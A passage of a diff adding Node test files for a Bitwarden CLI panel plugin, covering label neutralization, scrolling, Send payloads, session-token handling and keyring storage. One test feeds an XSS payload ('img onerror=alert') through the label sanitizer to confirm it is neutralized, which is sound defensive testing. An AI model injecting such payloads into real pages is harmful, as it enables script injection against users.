check(`the button label built from ${binding} goes through plainLabel`,
|
||||
Boolean(line) && line.includes("Model.plainLabel("), String(line))
|
||||
}
|
||||
|
||||
// Order matters, and only one order is safe. plainLabel may return a <span>
|
||||
// wrapper, so clipping its output could cut a tag in half and hand the control
|
||||
// the markup the wrapper exists to prevent. Clip the raw value, then neutralize.
|
||||
const clipLine = panel.split("\n").find(l => l.includes("Model.clipLabel("))
|
||||
check("the vault value is clipped before it is neutralized, never after",
|
||||
Boolean(clipLine)
|
||||
&& clipLine.indexOf("Model.plainLabel(") >= 0
|
||||
&& clipLine.indexOf("Model.plainLabel(") < clipLine.indexOf("Model.clipLabel(")
|
||||
&& !/Model\.clipLabel\(\s*Model\.plainLabel\(/.test(clipLine),
|
||||
String(clipLine))
|
||||
check("the suggestion tooltip neutralizes the window title it quotes",
|
||||
/tooltipText: Model\.plainLabel\(\(pinned/.test(panel), "expected Model.plainLabel around the tooltip")
|
||||
|
||||
// --- clipping vault text to a width the panel can hold ---
|
||||
// Ui.Button has no elide, so a folder name decides how wide a button is. The
|
||||
// clip is what keeps that decision ours; the ellipsis lives inside the budget,
|
||||
// so `max` is a real ceiling and not a suggestion.
|
||||
check("a value already within the budget is returned untouched",
|
||||
Model.clipLabel("Work", 20) === "Work", Model.clipLabel("Work", 20))
|
||||
check("a value exactly at the budget is not clipped",
|
||||
Model.clipLabel("12345678901234567890", 20) === "12345678901234567890",
|
||||
Model.clipLabel("12345678901234567890", 20))
|
||||
check("a longer value is cut to the budget, ellipsis included",
|
||||
Model.clipLabel("123456789012345678901", 20) === "12345678901234567...",
|
||||
Model.clipLabel("123456789012345678901", 20))
|
||||
for (const [value, max] of [["Client Projects 2026", 20], ["x".repeat(400), 20],
|
||||
["short", 4], ["abc", 2], ["abcd", 3]]) {
|
||||
check(`clipLabel(${JSON.stringify(value).slice(0, 24)}, ${max}) never exceeds its budget`,
|
||||
Model.clipLabel(value, max).length <= max, Model.clipLabel(value, max))
|
||||
}
|
||||
check("a missing or unusable value clips to the empty string, never to \"null\"",
|
||||
Model.clipLabel(null, 20) === "" && Model.clipLabel(undefined, 20) === "",
|
||||
JSON.stringify([Model.clipLabel(null, 20), Model.clipLabel(undefined, 20)]))
|
||||
check("a nonsense budget still returns something drawable",
|
||||
Model.clipLabel("Work", 0).length > 0 && Model.clipLabel("Work", -5).length > 0,
|
||||
JSON.stringify([Model.clipLabel("Work", 0), Model.clipLabel("Work", -5)]))
|
||||
// The clip runs on raw vault text, so it must not be what introduces markup.
|
||||
check("clipping cannot manufacture markup that plainLabel then has to catch",
|
||||
Model.plainLabel(Model.clipLabel("<img src=x onerror=alert(1)>", 20)).indexOf("<img") < 0,
|
||||
Model.plainLabel(Model.clipLabel("<img src=x onerror=alert(1)>", 20)))
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
|
||||
@@ -0,0 +1,77 @@
|
||||
#!/usr/bin/env node
|
||||
// Wheel scrolling across the panel.
|
||||
//
|
||||
// Qt moves a Flickable by the platform's wheel-scroll-lines, a figure tuned for
|
||||
// a full-screen document. In a panel a few hundred pixels tall that is a crawl,
|
||||
// so the rate is set here instead -- and set in one place, because two views
|
||||
// scrolling at different speeds is worse than both being slow.
|
||||
//
|
||||
// node tests/scrolling.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const read = f => fs.existsSync(path.join(__dirname, "..", f))
|
||||
? fs.readFileSync(path.join(__dirname, "..", f), "utf8") : ""
|
||||
|
||||
const panelSrc = read("Panel.qml")
|
||||
const wheelSrc = read("WheelScroll.qml")
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
|
||||
check("WheelScroll exists", wheelSrc !== "", "WheelScroll.qml is missing")
|
||||
|
||||
// --- the component ------------------------------------------------------------
|
||||
|
||||
check("it is one component rather than a handler pasted into every view",
|
||||
/required property Flickable view/.test(wheelSrc) && /property real step/.test(wheelSrc),
|
||||
"expected a reusable component taking the view it drives")
|
||||
|
||||
check("it accepts the event so the slower built-in handling does not also run",
|
||||
/event\.accepted = true/.test(wheelSrc),
|
||||
"an unaccepted wheel event would be handled twice, at two different rates")
|
||||
|
||||
check("it cannot scroll past either end",
|
||||
/Math\.max\(0, Math\.min\(limit, next\)\)/.test(wheelSrc),
|
||||
"expected the new position to be clamped to the content")
|
||||
|
||||
check("the limit accounts for the visible height, not just the content",
|
||||
/contentHeight - root\.view\.height/.test(wheelSrc),
|
||||
"scrolling would run past the bottom by one screen")
|
||||
|
||||
check("a wheel event carrying no vertical movement changes nothing",
|
||||
/if \(notches === 0\) return/.test(wheelSrc),
|
||||
"a horizontal wheel or a stray event must not move the view")
|
||||
|
||||
// --- every view uses it --------------------------------------------------------
|
||||
|
||||
// Each scrolling view in the panel. The list is spelled out so a view added
|
||||
// later without tuned scrolling shows up as a failure rather than as an
|
||||
// inconsistency somebody notices months later.
|
||||
const scrollViews = [
|
||||
"sendFlick", "fpFlick", "genFlick", "pinFlick", "setupFlick", "settingsFlick",
|
||||
"itemsListView", "filterOptionsList", "detailFlickable", "editFlickable",
|
||||
"folderPickList", "orgPickList", "collectionList",
|
||||
]
|
||||
|
||||
for (const view of scrollViews) {
|
||||
check(`${view} scrolls at the panel's rate`,
|
||||
new RegExp(`WheelScroll \\{ view: ${view} \\}`).test(panelSrc),
|
||||
`${view} still scrolls at the platform default`)
|
||||
}
|
||||
|
||||
check("every scrolling view is accounted for",
|
||||
(panelSrc.match(/WheelScroll \{/g) || []).length === scrollViews.length,
|
||||
`${(panelSrc.match(/WheelScroll \{/g) || []).length} handlers for ${scrollViews.length} views`)
|
||||
|
||||
check("and every one of them has a scrollbar, so the list is the same list",
|
||||
(panelSrc.match(/ScrollBar\.vertical:/g) || []).length === scrollViews.length,
|
||||
"a view with a scrollbar but no wheel tuning would scroll at a different rate")
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) {
|
||||
console.error("\nFAILURES:\n " + failures.join("\n "))
|
||||
process.exit(1)
|
||||
}
|
||||
@@ -0,0 +1,198 @@
|
||||
#!/usr/bin/env node
|
||||
// Tests for Bitwarden Send payloads, parsing and command construction.
|
||||
// Field names come from a real `bw send --fullObject` response.
|
||||
//
|
||||
// node tests/sends.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.buildSendPayload = buildSendPayload
|
||||
exports.parseSends = parseSends
|
||||
exports.sendExpiryLabel = sendExpiryLabel
|
||||
exports.sendAccessLabel = sendAccessLabel
|
||||
exports.createSendCommand = createSendCommand
|
||||
exports.listSendsCommand = listSendsCommand
|
||||
exports.deleteSendCommand = deleteSendCommand
|
||||
exports.createItemCommand = createItemCommand
|
||||
exports.editItemCommand = editItemCommand
|
||||
exports.sessionEnvVar = sessionEnvVar
|
||||
exports.statusCommand = statusCommand
|
||||
exports.listCommand = listCommand
|
||||
exports.syncCommand = syncCommand
|
||||
exports.getItemCommand = getItemCommand
|
||||
exports.getTotpCommand = getTotpCommand
|
||||
exports.lockCommand = lockCommand
|
||||
exports.deleteItemCommand = deleteItemCommand
|
||||
exports.createFolderCommand = createFolderCommand
|
||||
exports.listFoldersCommand = listFoldersCommand
|
||||
exports.listOrganizationsCommand = listOrganizationsCommand
|
||||
exports.terminalLoginCommand = terminalLoginCommand
|
||||
exports.sessionHandoffReadCommand = sessionHandoffReadCommand
|
||||
exports.extractSessionToken = extractSessionToken
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
|
||||
// --- the security property that motivated the env-based commands ------------
|
||||
// argv is world-readable via /proc on a default Linux box, so no secret may
|
||||
// ever appear in a command line.
|
||||
const sendCmd = Model.createSendCommand("SESSIONTOKEN")[2]
|
||||
check("send create reads its payload from the environment",
|
||||
sendCmd.includes('"$QSBW_SEND"') && /\|\s*base64 -w0\s*\|/.test(sendCmd), sendCmd)
|
||||
check("send create carries no payload in argv",
|
||||
!sendCmd.includes("password") && !sendCmd.includes("text"), sendCmd)
|
||||
|
||||
const itemCmd = Model.createItemCommand({ organizationId: null }, "SESSIONTOKEN")[2]
|
||||
check("item create reads its payload from the environment",
|
||||
itemCmd.includes('"$QSBW_ITEM"'), itemCmd)
|
||||
const editCmd = Model.editItemCommand("id-1", "SESSIONTOKEN")[2]
|
||||
check("item edit reads its payload from the environment",
|
||||
editCmd.includes('"$QSBW_ITEM"') && editCmd.includes("'id-1'"), editCmd)
|
||||
|
||||
// --- payload ---------------------------------------------------------------
|
||||
const p = Model.buildSendPayload("Name", "secret", true, 3, 5, "pw", "note")
|
||||
check("payload sets the text and its hidden flag",
|
||||
p.text.text === "secret" && p.text.hidden === true, JSON.stringify(p.text))
|
||||
check("deletionDate is days in the future, as an ISO string",
|
||||
Math.abs(Date.parse(p.deletionDate) - (Date.now() + 3 * 86400000)) < 60000, p.deletionDate)
|
||||
check("maxAccessCount of 0 means unlimited, sent as null",
|
||||
Model.buildSendPayload("n", "t", false, 7, 0, "", "").maxAccessCount === null, "expected null")
|
||||
check("an empty password is sent as null, not an empty string",
|
||||
Model.buildSendPayload("n", "t", false, 7, 0, "", "").password === null, "expected null")
|
||||
check("a blank name falls back rather than creating an unnamed Send",
|
||||
Model.buildSendPayload(" ", "t", false, 7, 0, "", "").name === "Untitled Send",
|
||||
Model.buildSendPayload(" ", "t", false, 7, 0, "", "").name)
|
||||
for (const [days, lo, hi] of [[0, 1, 31], [999, 1, 31], [-5, 1, 31]]) {
|
||||
const got = (Date.parse(Model.buildSendPayload("n", "t", false, days, 0, "", "").deletionDate) - Date.now()) / 86400000
|
||||
check(`deleteInDays=${days} clamps into [${lo}, ${hi}]`, got > lo - 1 && got < hi + 1, `got ~${got.toFixed(1)} days`)
|
||||
}
|
||||
|
||||
// --- parsing (shape taken from a real response) -----------------------------
|
||||
const listed = Model.parseSends(JSON.stringify([
|
||||
{ id: "b", name: "Later", type: 0, accessUrl: "u2", accessCount: 1, maxAccessCount: 3,
|
||||
deletionDate: "2026-09-01T00:00:00Z", passwordSet: false, text: { text: "x", hidden: false } },
|
||||
{ id: "a", name: "Sooner", type: 1, accessUrl: "u1", accessCount: 0, maxAccessCount: null,
|
||||
deletionDate: "2026-08-22T00:00:00Z", passwordSet: true, file: { fileName: "f.pdf" } },
|
||||
]))
|
||||
check("sends are ordered by how soon they vanish",
|
||||
listed.map(s => s.id).join(",") === "a,b", listed.map(s => s.id).join(","))
|
||||
check("type 1 is recognised as a file Send",
|
||||
listed[0].isFile === true && listed[0].fileName === "f.pdf", JSON.stringify(listed[0]))
|
||||
check("passwordSet is carried through as a boolean, and no password is exposed",
|
||||
listed[0].passwordSet === true && !("password" in listed[0]), JSON.stringify(listed[0]))
|
||||
check("malformed JSON yields an empty list",
|
||||
Model.parseSends("{{").length === 0 && Model.parseSends("").length === 0, "expected []")
|
||||
|
||||
// --- labels -----------------------------------------------------------------
|
||||
const at = t => Date.parse(t)
|
||||
const mk = d => ({ deletionDate: d })
|
||||
check("a past deletion date reads as expired",
|
||||
Model.sendExpiryLabel(mk("2026-08-20T00:00:00Z"), at("2026-08-21T00:00:00Z")) === "expired", "expected expired")
|
||||
check("hours are used under a day",
|
||||
Model.sendExpiryLabel(mk("2026-08-21T05:00:00Z"), at("2026-08-21T00:00:00Z")) === "in 5 hours", "expected 'in 5 hours'")
|
||||
check("singular day is not pluralised",
|
||||
Model.sendExpiryLabel(mk("2026-08-22T00:00:00Z"), at("2026-08-21T00:00:00Z")) === "in 1 day", "expected 'in 1 day'")
|
||||
check("a missing deletion date yields no label",
|
||||
Model.sendExpiryLabel({}, Date.now()) === "", "expected empty")
|
||||
check("unlimited access omits the maximum",
|
||||
Model.sendAccessLabel({ accessCount: 2, maxAccessCount: null }) === "2 views", "expected '2 views'")
|
||||
check("a capped Send shows the maximum",
|
||||
Model.sendAccessLabel({ accessCount: 2, maxAccessCount: 5 }) === "2 of 5 views", "expected '2 of 5 views'")
|
||||
|
||||
|
||||
// --- no bw command may carry the session token in argv ----------------------
|
||||
// /proc/<pid>/cmdline is world-readable on a default Linux install, and the
|
||||
// token grants full access to the unlocked vault. It goes in BW_SESSION.
|
||||
check("the session env var is BW_SESSION, which bw reads natively",
|
||||
Model.sessionEnvVar() === "BW_SESSION", Model.sessionEnvVar())
|
||||
|
||||
const builders = [
|
||||
["statusCommand", () => Model.statusCommand()],
|
||||
["listCommand", () => Model.listCommand()],
|
||||
["listFoldersCommand", () => Model.listFoldersCommand()],
|
||||
["listOrganizationsCommand", () => Model.listOrganizationsCommand()],
|
||||
["listSendsCommand", () => Model.listSendsCommand()],
|
||||
["syncCommand", () => Model.syncCommand()],
|
||||
["lockCommand", () => Model.lockCommand()],
|
||||
["getItemCommand", () => Model.getItemCommand("id")],
|
||||
["getTotpCommand", () => Model.getTotpCommand("id")],
|
||||
["deleteItemCommand", () => Model.deleteItemCommand("id")],
|
||||
["deleteSendCommand", () => Model.deleteSendCommand("id")],
|
||||
["createFolderCommand", () => Model.createFolderCommand("f")],
|
||||
["createItemCommand", () => Model.createItemCommand({ organizationId: null })],
|
||||
["editItemCommand", () => Model.editItemCommand("id")],
|
||||
["createSendCommand", () => Model.createSendCommand()],
|
||||
]
|
||||
for (const [name, build] of builders) {
|
||||
const argv = build().join(" ")
|
||||
check(`${name} passes no --session flag`, !argv.includes("--session"), argv)
|
||||
}
|
||||
|
||||
|
||||
// --- terminal login handoff -------------------------------------------------
|
||||
const login = Model.terminalLoginCommand("login")[2]
|
||||
const unlock = Model.terminalLoginCommand("unlock")[2]
|
||||
const euLogin = Model.terminalLoginCommand("login", "https://vault.bitwarden.eu")[2]
|
||||
check("terminal login runs in a terminal", login.includes("omarchy launch terminal"), login.slice(0, 80))
|
||||
check("it falls back to a second terminal if the first is unavailable",
|
||||
login.includes("alacritty"), login.slice(0, 80))
|
||||
// --raw prints only the session key on stdout while prompts stay on stderr,
|
||||
// which is what lets the key be captured without breaking the interactive login.
|
||||
check("it captures the key with --raw", login.includes("--raw"), login.slice(0, 120))
|
||||
// The panel already knows which state it is in, so the terminal does not spend
|
||||
// a `bw status` round trip (~3.3s here) working it out before prompting.
|
||||
check("login mode runs bw login", login.includes("bw login --raw") && !login.includes("bw unlock"), login.slice(0, 200))
|
||||
check("unlock mode runs bw unlock", unlock.includes("bw unlock --raw") && !unlock.includes("bw login"), unlock.slice(0, 200))
|
||||
check("neither mode probes with bw status",
|
||||
!login.includes("bw status") && !unlock.includes("bw status"), "expected no status probe")
|
||||
check("an unknown mode falls back to login",
|
||||
Model.terminalLoginCommand("")[2].includes("bw login --raw"), "expected login")
|
||||
check("terminal login configures an explicitly selected region before authenticating",
|
||||
euLogin.includes("bw config server")
|
||||
&& euLogin.includes("https://vault.bitwarden.eu")
|
||||
&& euLogin.indexOf("bw config server") < euLogin.indexOf("bw login --raw"),
|
||||
euLogin.slice(0, 300))
|
||||
// Only the method name crosses the IPC boundary; the key never does.
|
||||
check("a successful login reopens the panel",
|
||||
login.includes("omarchy-shell io.github.elevate08.qs-bitwarden-cli open"), login.slice(0, 300))
|
||||
check("the session key is not passed over IPC",
|
||||
!login.includes("open $f") && !login.includes("open \"$f\""), login.slice(0, 300))
|
||||
// The inner script appears twice -- once for the terminal, once for the
|
||||
// alacritty fallback -- so count pauses against failure branches rather than
|
||||
// assuming a single occurrence.
|
||||
check("the user is only made to press a key when the login failed",
|
||||
login.split("read -p").length === login.split("Not completed").length,
|
||||
`${login.split("read -p").length - 1} pauses vs ${login.split("Not completed").length - 1} failure branches`)
|
||||
check("a successful login closes the terminal on its own",
|
||||
login.includes("Returning to the Bitwarden panel") && login.includes("sleep 1"),
|
||||
"expected the success branch to close itself")
|
||||
// The key is a secret at rest: tmpfs, user-only, gone when the session ends.
|
||||
check("the handoff lives in XDG_RUNTIME_DIR, not on disk",
|
||||
login.includes("XDG_RUNTIME_DIR"), login.slice(0, 120))
|
||||
check("the handoff is created with a restrictive umask",
|
||||
login.includes("umask 077") && login.includes("chmod 700"), login.slice(0, 200))
|
||||
check("an incomplete login leaves nothing behind",
|
||||
login.includes('rm -f'), login.slice(0, 300))
|
||||
|
||||
const read = Model.sessionHandoffReadCommand(true)[2]
|
||||
check("the handoff is read once and removed with a byte limit",
|
||||
read.includes("head -c") && read.includes("rm -f"), read)
|
||||
check("an absent or empty handoff yields nothing",
|
||||
read.includes("-s "), read)
|
||||
|
||||
// The panel parses whatever the file holds through the same extractor it uses
|
||||
// for unlock output, so a stray newline or an `export BW_SESSION=` line is fine.
|
||||
check("a bare key is extracted intact",
|
||||
Model.extractSessionToken("abcdefghijklmnopqrstuvwxyz0123456789==") === "abcdefghijklmnopqrstuvwxyz0123456789==",
|
||||
Model.extractSessionToken("abcdefghijklmnopqrstuvwxyz0123456789=="))
|
||||
check("an export line is unwrapped",
|
||||
Model.extractSessionToken('export BW_SESSION="tok3n-value-that-is-long-enough=="') === "tok3n-value-that-is-long-enough==",
|
||||
Model.extractSessionToken('export BW_SESSION="tok3n-value-that-is-long-enough=="'))
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
|
||||
@@ -0,0 +1,119 @@
|
||||
#!/usr/bin/env node
|
||||
// The remembered session must not survive the machine it was minted on.
|
||||
//
|
||||
// These run the real shell scripts the panel executes, against a stand-in
|
||||
// secret-tool, so what is checked is the behaviour and not a string.
|
||||
//
|
||||
// node tests/session-boot.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const os = require("os")
|
||||
const path = require("path")
|
||||
const { execFileSync } = require("child_process")
|
||||
|
||||
const Model = {}
|
||||
new Function("exports", fs.readFileSync(path.join(__dirname, "..", "BitwardenModel.js"), "utf8")
|
||||
.replace(/^\.pragma library\s*$/m, "") + `
|
||||
exports.keyringStoreCommand = keyringStoreCommand
|
||||
exports.keyringLookupCommand = keyringLookupCommand
|
||||
exports.keyringClearCommand = keyringClearCommand
|
||||
exports.keyringSecretEnvVar = keyringSecretEnvVar
|
||||
exports.bootIdPath = bootIdPath
|
||||
`)(Model)
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (l, ok, d) => ok ? pass++ : failures.push(`${l}\n ${d}`)
|
||||
|
||||
// A stand-in for libsecret. Keeps the stored blob in a file, records every
|
||||
// call, and can be told to refuse the session collection the way a secret
|
||||
// service without one would.
|
||||
const stub = fs.mkdtempSync(path.join(os.tmpdir(), "qsbw-keyring-"))
|
||||
fs.writeFileSync(path.join(stub, "secret-tool"), `#!/usr/bin/env bash
|
||||
set -uo pipefail
|
||||
echo "$*" >> "$STUB/calls"
|
||||
cmd="\${1:-}"; shift || true
|
||||
collection=""
|
||||
for a in "$@"; do case "$a" in --collection=*) collection="\${a#--collection=}" ;; esac; done
|
||||
case "$cmd" in
|
||||
store)
|
||||
if [ "\${STUB_NO_SESSION_COLLECTION:-}" = "1" ] && [ "$collection" = "session" ]; then
|
||||
cat >/dev/null; exit 1
|
||||
fi
|
||||
cat > "$STUB/value"; printf '%s' "$collection" > "$STUB/collection"; exit 0 ;;
|
||||
lookup) [ -s "$STUB/value" ] || exit 1; cat "$STUB/value"; exit 0 ;;
|
||||
clear) rm -f "$STUB/value"; exit 0 ;;
|
||||
esac
|
||||
exit 1
|
||||
`)
|
||||
fs.chmodSync(path.join(stub, "secret-tool"), 0o755)
|
||||
|
||||
const TOKEN = "not-a-real-session-token"
|
||||
const bootId = fs.readFileSync(Model.bootIdPath(), "utf8").trim()
|
||||
|
||||
const reset = () => {
|
||||
for (const f of ["value", "collection", "calls"]) fs.rmSync(path.join(stub, f), { force: true })
|
||||
}
|
||||
const run = (command, extraEnv) => {
|
||||
const env = Object.assign({}, process.env, { PATH: `${stub}:${process.env.PATH}`, STUB: stub }, extraEnv || {})
|
||||
return execFileSync(command[0], command.slice(1), { env, encoding: "utf8" })
|
||||
}
|
||||
const stored = () => fs.existsSync(path.join(stub, "value"))
|
||||
? fs.readFileSync(path.join(stub, "value"), "utf8") : null
|
||||
const calls = () => fs.existsSync(path.join(stub, "calls"))
|
||||
? fs.readFileSync(path.join(stub, "calls"), "utf8") : ""
|
||||
|
||||
const secretEnv = { [Model.keyringSecretEnvVar()]: TOKEN }
|
||||
|
||||
// --- storing ---
|
||||
reset()
|
||||
run(Model.keyringStoreCommand(), secretEnv)
|
||||
check("the session is stored in the memory-only session collection",
|
||||
fs.readFileSync(path.join(stub, "collection"), "utf8") === "session",
|
||||
fs.readFileSync(path.join(stub, "collection"), "utf8"))
|
||||
check("the stored blob carries the boot id that minted the session",
|
||||
stored() === `${bootId} ${TOKEN}`, JSON.stringify(stored()))
|
||||
check("the token still never reaches a command line",
|
||||
!Model.keyringStoreCommand().join(" ").includes(TOKEN) && !calls().includes(TOKEN),
|
||||
Model.keyringStoreCommand().join(" ") + " || " + calls())
|
||||
|
||||
// A secret service with no session collection must not cost the user the
|
||||
// setting entirely -- the boot id is what enforces the lock either way.
|
||||
reset()
|
||||
run(Model.keyringStoreCommand(), Object.assign({ STUB_NO_SESSION_COLLECTION: "1" }, secretEnv))
|
||||
check("a service without a session collection falls back to the default one",
|
||||
fs.readFileSync(path.join(stub, "collection"), "utf8") === "" && stored() === `${bootId} ${TOKEN}`,
|
||||
JSON.stringify(stored()))
|
||||
|
||||
// --- looking up on the same boot ---
|
||||
reset()
|
||||
run(Model.keyringStoreCommand(), secretEnv)
|
||||
check("a session from this boot is handed back, boot id stripped",
|
||||
run(Model.keyringLookupCommand()) === TOKEN, JSON.stringify(run(Model.keyringLookupCommand())))
|
||||
check("a usable session is left in the keyring",
|
||||
stored() !== null, "expected the entry to survive a lookup")
|
||||
|
||||
// --- looking up after a reboot ---
|
||||
reset()
|
||||
fs.writeFileSync(path.join(stub, "value"), `11111111-2222-3333-4444-555555555555 ${TOKEN}`)
|
||||
check("a session from another boot is not handed back",
|
||||
run(Model.keyringLookupCommand()) === "", JSON.stringify(run(Model.keyringLookupCommand())))
|
||||
check("a session from another boot is cleared out of the keyring",
|
||||
stored() === null, JSON.stringify(stored()))
|
||||
|
||||
// An entry written before the boot id existed has no provenance at all, so it
|
||||
// gets the same treatment rather than the benefit of the doubt.
|
||||
reset()
|
||||
fs.writeFileSync(path.join(stub, "value"), TOKEN)
|
||||
check("a bare pre-boot-id entry is refused and cleared",
|
||||
run(Model.keyringLookupCommand()) === "" && stored() === null, JSON.stringify(stored()))
|
||||
|
||||
// --- nothing to find ---
|
||||
reset()
|
||||
check("an empty keyring is not an error, so the panel falls through to bw status",
|
||||
run(Model.keyringLookupCommand()) === "", "expected empty output and exit 0")
|
||||
|
||||
fs.rmSync(stub, { recursive: true, force: true })
|
||||
|
||||
console.log(`${pass} passed, ${failures.length} failed`)
|
||||
if (failures.length) { console.error("\nFAILURES:\n " + failures.join("\n ")); process.exit(1) }
|
||||
@@ -0,0 +1,267 @@
|
||||
#!/usr/bin/env node
|
||||
// The settings screen's structure -- what is pinned, what scrolls, how its
|
||||
// sections are drawn -- and the one invariant that is panel-wide rather than
|
||||
// settings-only: every scrolling view keeps its content clear of its own
|
||||
// scrollbar.
|
||||
//
|
||||
// node tests/settings-screen.test.js
|
||||
|
||||
const fs = require("fs")
|
||||
const path = require("path")
|
||||
|
||||
const panelSrc = fs.readFileSync(path.join(__dirname, "..", "Panel.qml"), "utf8")
|
||||
|
||||
let pass = 0
|
||||
const failures = []
|
||||
const check = (label, ok, detail) => ok ? pass++ : failures.push(`${label}\n ${detail}`)
|
||||
|
||||
// The settings screen, from its wrapper Column to the end of the Flickable.
|
||||
const screenAt = panelSrc.indexOf("id: settingsScreen")
|
||||
const flickAt = panelSrc.indexOf("id: settingsFlick")
|
||||
const colAt = panelSrc.indexOf("id: settingsCol")
|
||||
const screen = screenAt < 0 ? "" : panelSrc.slice(screenAt, panelSrc.indexOf("SCREEN 1", screenAt))
|
||||
|
||||
const shieldAt = panelSrc.indexOf("id: shieldIconComp")
|
||||
const statusBarAt = panelSrc.indexOf("// Status Bar Button", shieldAt)
|
||||
const shield = shieldAt < 0 ? "" : panelSrc.slice(shieldAt, statusBarAt)
|
||||
|
||||
// --- colorized menu-bar icon ------------------------------------------------
|
||||
|
||||
check("colorized icon reads the persisted boolean setting",
|
||||
/readonly property bool colorizeIcon: Model\.boolSetting\("colorizeIcon", setting\("colorizeIcon", false\)\)/.test(panelSrc),
|
||||
"expected a false-safe colorizeIcon setting property")
|
||||
|
||||
check("colorized icon uses the theme accent only when enabled",
|
||||
/color:\s*root\.colorizeIcon \? Color\.accent : \(bar \? bar\.barForeground : Color\.foreground\)/.test(shield),
|
||||
"expected the primary shield to select Color.accent or its existing foreground")
|
||||
|
||||
check("colorized icon leaves status badges independent",
|
||||
shield.includes("color: bar ? bar.urgent : Color.urgent")
|
||||
&& shield.includes("color: bar ? bar.barForeground : Color.foreground"),
|
||||
"expected urgent and locked badge colors to remain independently bound")
|
||||
|
||||
check("panel-open indicator keeps Omarchy's standard width",
|
||||
!panelSrc.includes("openPanelIndicatorWidth"),
|
||||
"expected no plugin-specific width override for the panel-open indicator")
|
||||
|
||||
check("custom shield corrects its painted side bearings",
|
||||
shield.includes("id: shieldGlyphMetrics")
|
||||
&& shield.includes("shieldGlyphMetrics.tightBoundingRect")
|
||||
&& shield.includes("anchors.horizontalCenterOffset"),
|
||||
"expected corrected painted side bearings on the shield")
|
||||
|
||||
// The centering above is what aligns the glyph with the panel-open indicator;
|
||||
// the renderer is not part of it -- both put the painted center on the same
|
||||
// pixel at scale 1.3333. QtRendering additionally drew saturated colour along
|
||||
// the glyph edges, which no other icon in the bar has, so the shield renders
|
||||
// the way the rest of Omarchy does.
|
||||
check("shield renders the way the rest of the bar does",
|
||||
shield.includes("renderType: Text.NativeRendering")
|
||||
&& !shield.includes("renderType: Text.QtRendering"),
|
||||
"expected the shield to use Text.NativeRendering, as Omarchy's own glyphs do")
|
||||
|
||||
check("the settings screen has a wrapper outside the scroll area", screenAt >= 0,
|
||||
"expected a settingsScreen Column")
|
||||
|
||||
// --- what must not scroll away -----------------------------------------------
|
||||
|
||||
check("the way out is pinned, not scrolled",
|
||||
screenAt < flickAt && screen.indexOf('text: "Back (Esc)"') < screen.indexOf("id: settingsFlick"),
|
||||
"the Back button must sit above the Flickable, not inside settingsCol")
|
||||
|
||||
check("the pinned section indicator is also above the scroll area",
|
||||
screen.indexOf("id: stickySection") >= 0
|
||||
&& screen.indexOf("id: stickySection") < screen.indexOf("id: settingsFlick"),
|
||||
"stickySection must be outside the Flickable")
|
||||
|
||||
check("the scrolling column no longer draws its own Back button",
|
||||
panelSrc.slice(colAt).indexOf('text: "Back (Esc)"') < 0
|
||||
|| panelSrc.slice(colAt).indexOf('text: "Back (Esc)"') > panelSrc.slice(colAt).indexOf("SCREEN 1"),
|
||||
"settingsCol still contains a Back button")
|
||||
|
||||
// The section name goes left, the way out goes right.
|
||||
check("the section indicator anchors left and the exit anchors right",
|
||||
/id: stickySection[\s\S]{0,200}anchors\.left: parent\.left/.test(screen)
|
||||
&& screen.indexOf("anchors.right: parent.right") < screen.indexOf('text: "Back (Esc)"')
|
||||
&& screen.indexOf("anchors.right: parent.right") > screen.indexOf("id: stickySection"),
|
||||
"expected section on the left, Back on the right")
|
||||
|
||||
// --- the pinned indicator tracks the scroll ----------------------------------
|
||||
|
||||
check("the indicator is recomputed as the view scrolls",
|
||||
/onContentYChanged: root\.updateSettingsSticky\(\)/.test(panelSrc),
|
||||
"scrolling must update which section the bar names")
|
||||
|
||||
check("and when folding changes what is in the list",
|
||||
/onContentHeightChanged: Qt\.callLater\(root\.updateSettingsSticky\)/.test(panelSrc),
|
||||
"a fold changes contentHeight and must re-run the check after layout")
|
||||
|
||||
check("the indicator is held rather than bound",
|
||||
/property var settingsStickyEntry: null/.test(panelSrc),
|
||||
"it depends on delegate geometry, which a binding cannot read without fighting layout")
|
||||
|
||||
// The bar names the section the view is inside, including at rest -- an empty
|
||||
// bar on the one position everybody starts from is worse than a redundant one.
|
||||
// Duplication is prevented at the other end instead: the in-list heading of
|
||||
// the section the bar names is drawn transparent.
|
||||
check("the bar names a section from the top of the list, before any scrolling",
|
||||
/if \(row\.y > top \+ 1\) break/.test(panelSrc),
|
||||
"a heading at the top edge is the section the view is in")
|
||||
|
||||
check("the in-list heading yields to the bar rather than drawing alongside it",
|
||||
/readonly property bool yieldsToBar: isGroup[\s\S]{0,140}root\.settingsStickyEntry\.group === modelData\.group/.test(panelSrc),
|
||||
"the pinned section's own heading must not be drawn twice")
|
||||
|
||||
// Going transparent hid the ink and kept the space, which left a
|
||||
// heading-sized hole directly under the bar. It gives up the row instead.
|
||||
check("it yields its space, not just its ink",
|
||||
/visible: isGroup && !yieldsToBar/.test(panelSrc)
|
||||
&& !/opacity: \(root\.settingsStickyEntry/.test(panelSrc),
|
||||
"a transparent row leaves a gap where the heading was")
|
||||
|
||||
check("the gap above it goes too",
|
||||
/visible: isGroup && index > 0 && !yieldsToBar/.test(panelSrc),
|
||||
"the spacer above a hidden heading would leave a smaller hole in its place")
|
||||
|
||||
// Exactly one heading is ever yielding, so the content height is constant:
|
||||
// the one taking over collapses as the previous one is restored.
|
||||
check("only the pinned section's heading yields, so the height stays constant",
|
||||
